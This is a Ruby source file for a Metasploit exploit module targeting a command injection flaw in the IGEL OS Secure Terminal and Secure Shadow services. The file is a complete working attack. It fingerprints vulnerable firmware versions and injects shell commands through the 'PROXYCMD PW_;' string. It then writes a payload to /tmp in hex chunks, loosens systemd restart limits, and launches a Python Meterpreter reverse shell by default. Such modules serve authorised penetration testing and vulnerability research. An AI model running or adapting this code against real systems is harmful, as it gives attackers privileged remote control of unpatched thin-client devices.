metasploit-gs/modules/exploits/linux/misc/igel_command_injection.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
        'Description' => %q{
          This module exploits a command injection vulnerability in IGEL OS Secure Terminal
          and Secure Shadow services.

          Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
          Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rob Vinson',         # Discovery
          'James Brytan',       # Research and testing
          'James Smith',        # Research and testing
          'Marisa Mack',        # Research and testing
          'Sergey Pashevkin',   # Research and testing
          'Steven Laura'        # Research and testing
        ],
        'References' => [
          [ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
          [ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
        ],
        'Platform' => ['python'],
        'Arch' => [ARCH_PYTHON],
        'Targets' => [
          [
            'Python payload',
            {
              'Arch' => ARCH_PYTHON,
              'Type' => :python,
              'Platform' => 'python',
              'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
            }
          ],
        ],
        'Privileged' => true,
        'DisclosureDate' => '2021-02-25',
        'DefaultTarget' => 0,
        'Notes' => {
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(30022)
      ]
    )

    register_advanced_options(
      [
        # must enable SSL
        OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
      ]
    )
  end

  def check
    probe = '<igel_scan></igel_scan>'

    connect_udp(true, 'RPORT' => 30005)
    udp_sock.put(probe)
    res = udp_sock.recvfrom(65535, 0.5)
    disconnect_udp

    unless res && res[0]
      return Exploit::CheckCode::Unknown
    end

    probe_response = res[0]
    matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
    unless matches
      return Exploit::CheckCode::Unknown
    end

    version = matches.captures[0]
    vprint_status("IGEL OS Version: #{version}")
    version = Rex::Version.new(version)

    if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
      return Exploit::CheckCode::Appears
    elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  # execute a shell command on the target.
  # cmdstr is limited to 223 characters
  def exec_cmd(cmdstr)
    if cmdstr.length > 223
      raise ArgumentError, 'Attempted command is too large'
    end

    cmdfull = "#{cmdstr};false"
    vprint_status("executing #{cmdfull}")
    retries = 0

    begin
      connect
      sock.put(%(PROXYCMD PW_;#{cmdfull}))
    rescue ::Rex::ConnectionRefused, Errno::ECONNRESET => e
      if retries < 5
        retries += 1
        sleep 0.5 * (2**retries)
        vprint_status("retrying command - #{retries}")
        retry
      else
        vprint_error("retries exhausted: #{e.class} #{e}")
        raise e
      end
    ensure
      disconnect
    end
  end

  # chunks up buffer, encodes chunk as a hex string, and echos it to path one chunk at a time
  def write_file(buf, path)
    slice_size = (223 - %(bash -c 'echo -ne "">>#{path}').length) / 4
    buf.split('').each_slice(slice_size) do |ary|
      buf_part = ary.join
      hex = buf_part.each_byte.map { |b| "\\x#{b.to_s(16)}" }.join
      begin
        exec_cmd(%(bash -c 'echo -ne "#{hex}">>#{path}'))
      rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
        fail_with(Failure::Unreachable, "Failed writing to #{path} with error #{e}.")
      end
    end
  end

  # somewhat arbitrary cutoff of what designates a large payload
  def big_payload?
    if payload.encoded.length > 1024
      return true
    end

    return false
  end

  def adjust_systemd_props
    # Adjust limits to keep throttling from stopping the services or otherwise
    # slowing us down
    svc = 'vnc'
    if datastore['RPORT'] == 5900
      svc = 'vnc'
    elsif datastore['RPORT'] == 30022
      svc = 'telnet'
    end

    print_status("Overriding igel-#{svc}-ssl-connector.service StartLimitBurst")
    exec_cmd(%(mkdir /etc/systemd/system/igel-#{svc}-ssl-connector.service.d))
    exec_cmd(%(printf "[Service]\\nStartLimitBurst=9999\\n" > /etc/systemd/system/igel-#{svc}-ssl-connector.service.d/override.conf))
    print_status("Overriding igel-#{svc}-ssl-connector.socket TriggerLimitBurst")
    exec_cmd(%(mkdir /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d))
    exec_cmd(%(printf "[Socket]\\nTriggerLimitBurst=9999\\n" > /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d/override.conf))
    exec_cmd(%(systemctl daemon-reload))
  end

  def cleanup_systemd_props
    svc = 'vnc'
    if datastore['RPORT'] == 5900
      svc = 'vnc'
    elsif datastore['RPORT'] == 30022
      svc = 'telnet'
    end

    print_status("Removing override for igel-#{svc}-ssl-connector.service")
    exec_cmd(%(rm /etc/systemd/system/igel-#{svc}-ssl-connector.service.d/override.conf))
    print_status("Removing override for igel-#{svc}-ssl-connector.socket")
    exec_cmd(%(rm /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d/override.conf))
    exec_cmd(%(systemctl deamon-reload))
  end

  def remove_file(path)
    exec_cmd(%(rm #{path}))
  end

  def exploit
    path = "/tmp/#{rand_text_alphanumeric(4)}"
    if big_payload?
      print_warning('The payload selected is relatively large.  This could take a few minutes, be patient.')
    end

    begin
      adjust_systemd_props
      print_status("Writing payload to file #{path}.")
      write_file(payload.encoded, path)

      # execute python payload. systemd-run is used to prevent systemd from killing
      # the resulting processes
      print_status("Executing payload #{path}.")
      exec_cmd(%(/usr/bin/systemd-run --scope bash -c "python #{path}"))
      print_status("Removing payload file #{path}.")
      remove_file(path)
      cleanup_systemd_props
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
    end
  end

end